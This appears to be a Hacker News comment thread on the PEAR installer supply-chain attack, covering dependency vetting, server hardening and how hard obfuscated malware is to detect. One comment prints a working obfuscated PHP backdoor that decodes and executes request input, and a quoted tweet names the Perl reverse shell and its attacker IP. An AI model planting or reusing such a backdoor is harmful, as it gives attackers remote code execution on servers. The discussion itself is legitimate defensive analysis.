7 ms·
Pear.php.net shuts down after maintainers discover serious supply-chain attack
- Haga 8y agoIf a company does not invest in open source and uses it - it has to invest into open source to kee using it. Well at least it's under the security budget and doesn't look like a voluntarily paid tax anymore.
- erickj 8y agoAptly timed vulnerability with this article https://research.swtch.com/deps https://research.swtch.com/deps
- anfilt 8y agoI do find just pulling dependencies blindly from the internet concerning.
- y0ghur7_xxx 8y agoWhat is the alternative? What do you propose?
- jerf 8y agoNot blindly pulling in dependencies from the internet? "Blindly" is the problem here, not "pulling dependencies" or "internet". Also, no, you won't get to a literally 0.0000...% chance of bad stuff getting in to your code, but some simple due diligence will slice several factors of magnitude off your probabilities; pick up another couple of factors if the community in general also tends to have people examining their dependencies. It gets to be pretty hard to sneak stuff in under those circumstances. It's been done, so we know it's not 0.0000...% likely, but it's less likely than the current state of the art in several language communities. (And, also, yes, said language communities are working on it. I salute them for this effort, not condemn them for the existing problem.)
- acdha 8y agoHillel Wayne did a detailed in-depth analysis of the event-stream issue and it's really worth reading if you're interested in how to change this situation to be more robust: https://www.hillelwayne.com/post/stamping-on-eventstream/ https://www.hillelwayne.com/post/stamping-on-eventstream/
- SmellyGeekBoy 8y agoPGP?
- rch 8y agoI probably still have some old Slackware discs around somewhere.
- anfilt 8y agoAlso the discussion on it here: https://news.ycombinator.com/item?id=18979596 https://news.ycombinator.com/item?id=18979596
- zozbot123 8y ago> Aptly timed vulnerability I C what you did there https://www.debian.org/security/2019/dsa-4371 https://www.debian.org/security/2019/dsa-4371
- dullgiulio 8y agoAlmost, you are mixing up homepage posts. You are talking about https://news.ycombinator.com/item?id=18958679 https://news.ycombinator.com/item?id=18958679.
- erickj 8y agoI wish I was that clever
- mysterydip 8y agoA good reminder to run your webserver with only the privileges it needs, including read/write permissions on the filesystem outside www and shell execution of commands on the system. Also not a bad idea to have some kind of file compare against a "known good" folder of your site(s) to determine if any files have been modified or added, such as webshells.
- acdha 8y agoThe challenge for comparisons is doing it all offline and indistinguishable from user activity - I’ve seen cases where the attacker updated tripwire, rpm/deb sums, etc. or only presented the payload to a specific process, requesting IP not on the local network, etc. In this case I’d want something like a random process where a new EC2 instance does a install so you could make it a lot harder to cloak the attack because that’s also what many targets will do.
- _cereal 8y agoFor "known good" folder, a git repository may help, at least to restore a clean version of the code.
- meowface 8y agoProbably preaching to the choir here, but for those who are unaware, be sure that .git directories are not accessible by web clients. It will lead to source code disclosure, and if you've checked in any secrets, credential exposure as well.
- aaronmdjones 8y agoThat and if the webserver can write to .git it can also invisibly modify the history to ensure that you continue to check out the backdoored code no matter how far you go back.
- ddtaylor 8y agoDoes anyone know if composer ever uses PEAR?
- rawfan 8y agoIt doesn't.
- Gigablah 8y agoComposer does support pulling packages from PEAR (https://getcomposer.org/doc/05-repositories.md#pear https://getcomposer.org/doc/05-repositories.md#pear), but through their own implementation and not go-pear.phar.
- SmellyGeekBoy 8y ago...but that doesn't mean that it wouldn't also be susceptible to this kind of attack.
- hjek 8y agoAre GNU/Linux distros affected?
- duckerude 8y agoOnly an installer on pear.php.net was compromised. I think a "proper" package would be built from the source code, bypassing that installer. But a more ad hoc package, like from Arch's AUR, might just fetch that installer from pear.php.net instead. In fact, that's what the AUR package did - it just hardcodes the URL of the installer. The AUR package was (probably) not compromised, but perhaps only because it happened to use the nozlib version of the installer instead of the version that was compromised. This is how the AUR package looked at the time: https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php-pear&id=54f5f3e0ce9c6a13c6ecc3f708c4128e97ce1e4e https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php-p... And this is how it looks now: https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php-pear https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=php-p... The old PKGBUILD does have a hash, but I don't know if it was obtained from a trusted source. So I would guess that if it had used the compromised installer, and the installer was compromised after the PKGBUILD was updated to use that release, it would have alerted people that the installer had been replaced. The new PKGBUILD uses the Github release and includes a PGP key.
- dsr_ 8y agoWhat was that, XKCD? You say that there haven't been many left-pad attacks? https://xkcd.com/2102/ https://xkcd.com/2102/
- duckerude 8y ago> The officials didn’t say when the hack of their Web server occurred or precisely what the malicious version of go-pear.phar did to infected systems. From Twitter (https://twitter.com/pear https://twitter.com/pear): > What we know: the tainted go-pear.phar file was reported to us on 1/18 by the Paranoids FIRE Team. The last release of this file was done 12/20, so the taint occurred after that. The taint was verified by us on 1/19. > What we know: The taint was an embedded line designed to spawn a reverse shell via Perl to IP 104.131.154.154. This IP has been reported to its host in relation to the taint. > What we know: no other breach was identified. The install-pear-nozlib.phar was ok. The go-pear.phar file at GitHub was ok, and could be used as a good md5sum comparison for any suspect copies. > If you downloaded go-pear.phar before 12/20, we have no concrete evidence you received a tainted file... but it would be prudent to check your system if you used go-pear.phar to perform a PEAR installation in the last several months.
- rawfan 8y agoThankfully nobody is using PEAR anymore. Using composer doesn't solve the problem of blinedly pulling internet dependencies, though (as others pointed out). What I currently do is grepping vendor for common smells like usage of eval() or obfuscations of the same thing after doing a composer update on a project.
- EGreg 8y agoI think package management is very dangerous!
- lowercased 8y agoIt's hard to find obfuscations of stuff. ran across this recently... <?php $z0=$_REQUEST[‘sort’];$q1=‘’;$c2=“wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2”;$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev(“noi”.“tcnuf”.“_eta”.“erc”);$j6=$v5(“”,$q1($z0));$j6();?> There's no 'eval' or 'base64_decode' easy thing to grep for.
- doublekill 8y agoYou could create a readability score from normal non-malicious code. Eventhough I do not know what above code does, at a glance, I can tell that this is not normal code. A machine could too.
- egwynn 8y agoYou might be able to catch that by looking for lines with unusually high entropy. Something like this: https://codereview.stackexchange.com/a/909 https://codereview.stackexchange.com/a/909
- acdha 8y agoThe problem with approaches like this is that they're prone to false positive/negatives. Take the example above — you could move more payload into the REQUEST variable (say a Cookie header), do more of the array of numbers so no individual token is that noteworthy, you could do something like toss that into a wrapper so someone sees something which looks like (and may actually be) an x509 cert or GPG public key with some misleading comment about that being used to verify updates, toss it into an image or other “fixture” in a test directory a la event-stream, etc. This is a much harder problem than anything someone is going to come up with in an HN reply on first reaction. People have been working on it for decades but it's especially hard because once a technique becomes popular an attacker can run offline attacks against it and not release their exploit until they've confirmed that it's not detected.
- ccnafr 8y agoThis article is outdated. Check the PEAR Twitter profile for new information. It would be nice if journalists would keep up with the things they report on.
- ceejayoz 8y agoIt would be nice if you'd highlight what is outdated rather than a vague assertion and a "go look on Twitter".
- geekamongus 8y agoMaybe even provide a link to the Twitter profile.
- SmellyGeekBoy 8y agoEven if it's not shut down anymore the information is still highly relevant.
- y4mi 8y agoIt's still down though
- aboutruby 8y agoI'm not doing PHP anymore, but never heard of PEAR, everybody seems to use Composer since quite a while. Seems like the transition happened in 2014-2015.
- calahad 8y agoWow, things really went pear-shaped with the package manager. /rimshot
- megous 8y agoIt just shows how many people verify PGP signatures, if this was discovered after a month.
- reidrac 8y agoIt doesn't look like they were signing releases until two days ago with 1.10.10.